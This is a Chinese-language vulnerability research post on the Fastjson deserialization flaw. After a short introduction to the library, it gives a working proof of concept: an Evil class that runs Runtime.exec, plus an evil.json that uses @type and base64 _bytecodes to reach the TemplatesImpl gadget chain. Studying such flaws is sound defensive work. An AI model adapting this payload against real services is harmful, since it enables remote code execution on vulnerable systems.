zoukankan      html  css  js  c++  java
  • Fastjson反序列化漏洞研究

    0x01 Brief Description

      java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。大概在4月18号的时候,fastjson进行了一次安全更新,通告在这里https://github.com/alibaba/fastjson/wiki/security_update_20170315,当时对这也不熟悉,断断续续看了几天也没什么收获(主要是因为太菜了TAT)。最近有人出了poc以及分析的文章就跟进了一下,漏洞还是挺有意思。

    0x02 fastjson简单使用介绍

      工欲善其事,必先利其器,要想研究这个漏洞,就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。User.java code如下:

    package fastjsonVul.fastjsonTest;
    
    public class User {
        public String Username;
        public String Sex;
        public String getUsername() {
            return Username;
        }
        public void setUsername(String username) {
            Username = username;
        }
        public String getSex() {
            return Sex;
        }
        public void setSex(String sex) {
            Sex = sex;
        }
    
    
    }

      testFastJson.java code如下:

    package fastjsonVul.fastjsonTest;
    import java.util.HashMap;
    import java.util.Map;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    import fastjsonVul.fastjsonTest.User;
    public class testFastJson {
            
        public static void main(String[] args){
            Map<String, Object> map = new HashMap<String, Object>();
            map.put("key1","One");
            map.put("key2", "Two");
            String mapJson = JSON.toJSONString(map);    
            System.out.println(mapJson);
            
            User user1 = new User();
            user1.setUsername("xiaoming");
            user1.setSex("male");    
            System.out.println("obj name:"+user1.getClass().getName());
            
            //序列化
            String serializedStr = JSON.toJSONString(user1);
            System.out.println("serializedStr="+serializedStr);
            
            String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
            System.out.println("serializedStr1="+serializedStr1);
            
            //通过parse方法进行反序列化
            User user2 = (User)JSON.parse(serializedStr1);
            System.out.println(user2.getUsername());
            System.out.println();
            
            //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
            Object obj = JSON.parseObject(serializedStr1);
            System.out.println(obj);
            System.out.println("obj name:"+obj.getClass().getName()+"
    ");
            
            //通过这种方式返回的是一个相应的类对象
            Object obj1 = JSON.parseObject(serializedStr1,Object.class);
            System.out.println(obj1);
            System.out.println("obj1 name:"+obj1.getClass().getName());
            
        }
    }

    输出是这样

    {"key1":"One","key2":"Two"}
    obj name:fastjsonVul.fastjsonTest.User
    serializedStr={"Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
    serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
    xiaoming

    {"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
    obj name:com.alibaba.fastjson.JSONObject

    fastjsonVul.fastjsonTest.User@18769467
    obj1 name:fastjsonVul.fastjsonTest.User

    0x03 Fastjson漏洞详细

      fastjson漏洞出现的地方也就是JSON.parseObject这个方法上面。

      在最开始的时候,只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码,像是这样

    Evil.java


    import java.io.IOException;

    public class Evil {

    public String getName() {
    System.out.println("i am getterName!");
    return name;
    }

    public void setName(String name) {
    System.out.println("i am setterName!");
    this.name = name;
    }

    public String name;

    public int getAge() {
    System.out.println("i am getterAge!");
    return age;
    }

    public void setAge(int age) {
    System.out.println("i am setterAge!");
    this.age = age;
    }

    private int age;

    public Evil() throws IOException{
    System.out.println("i am constructor!");
    }


    }

    App.java

    import com.alibaba.fastjson.JSON;

    import java.io.*;

    public class App
    {
    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
    InputStream is = new FileInputStream(filePath);
    String line; // 用来保存每行读取的内容
    BufferedReader reader = new BufferedReader(new InputStreamReader(is));
    line = reader.readLine(); // 读取第一行
    while (line != null) { // 如果 line 为空说明读完了
    buffer.append(line); // 将读到的内容添加到 buffer 中
    buffer.append(" "); // 添加换行符
    line = reader.readLine(); // 读取下一行
    }
    reader.close();
    is.close();
    }
    public static void main( String[] args ) throws IOException
    {
    StringBuffer Buffer = new StringBuffer();
    App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
    Object obj = JSON.parseObject(Buffer.toString());
    }
    }

    demo.json的内容如下 

    {
      "@type" : "Evil1",
      "name"  : "M0rk",
      "age"   : "20"

          可以看到通过@type"特性",就执行了构造函数以及私有和公有成员变量的getter和setter方法。但是这貌似还并没有达到我们想要的结果,因为上面的情况是需要我们能够控制Evil这个类(一般是通过文件写入),目前来看不太现实。

      还有一种方法就是将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class对象。

    安全研究人员发现了这个类

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化,注意MailCiousClass需要继承AbstractTranslet(在defineTransle方法中存在一个校验)。更多这个调用链参考链接 https://gist.github.com/frohoff/24af7913611f8406eaf3

                    TemplatesImpl.getOutputProperties()
                      TemplatesImpl.newTransformer()
                        TemplatesImpl.getTransletInstance()
                          TemplatesImpl.defineTransletClasses()
                            ClassLoader.defineClass()
                            Class.newInstance()
                              ...
                                MaliciousClass.<clinit>()
                                  ...
                                    Runtime.exec()

    如上图所示的攻击调用栈信息,可以看到和TemplatesImpl调用链完全吻合,最终还是通过defineclass加载了bytecodes[]导致了命令执行。

    Evil.java

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import java.io.IOException;
    public class Evil extends AbstractTranslet {
        public Evil() throws IOException {
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        }
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
    
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
        }
    }

    poc.java

    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import org.apache.commons.io.IOUtils;
    import org.apache.commons.codec.binary.Base64;
    
    import java.io.*;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    
    
    public class poc {
    
        public static String readClass(String cls) {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            try {
                IOUtils.copy(new FileInputStream(new File(cls)), bos);
            } catch (IOException e) {
                e.printStackTrace();
            }
            return Base64.encodeBase64String(bos.toByteArray());
    
        }
    
    
        public static void main(String args[]) throws Exception{
    //        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
    //        String evilCode = readClass(evilClassPath);
    //        System.out.println(evilCode);
            StringBuffer Buffer = new StringBuffer();
            App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
            Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);
    
        }
    }

    evil.json

    {
      "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
      "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
      "_name" : "M0rk",
      "_tfactory" : {},
      "outputProperties" : {}
    }

     

    0x04 Conclusion

      关于这个漏洞的构造还是挺精巧,漏洞的利用条件比较苛刻,如要能够利用,开发人员对json的处理函数需要是   JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);

    而大部分的开发可能用用JSON.parse(input)就了事儿了,同时使用了parseObject和Feature.SupportNonPublicField设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求。

    0x05 Reference

      1.http://www.cnblogs.com/Jie-Jack/p/3758046.html FastJson的简单使用

      2.https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up

      3.https://github.com/alibaba/fastjson/wiki

      4.http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

      5.http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/

      6.http://seclab.dbappsecurity.com.cn/?p=1698

  • 相关阅读:
    022、如何运行容器(2019-01-15 周二)
    ssh 跳板机部署
    021、镜像小结(2019-01-14 周一)
    020、搭建本地Registry(2019-01-11 周五)
    019、使用公共Registry (2019-01-10 周四)
    018、容器命名最佳实践 (2019-01-09 周三)
    017、RUN、CMD、ENTRYPOINT (2019-01-08 周二)
    016、Dockerfile 常用命令(2019-01-07 周一)
    015、调试Dockerfile(2019-01-04 周五)
    014、镜像的缓存特性(2019-01-03 周四)
  • 原文地址:https://www.cnblogs.com/mrchang/p/6789060.html
Copyright © 2011-2022 走看看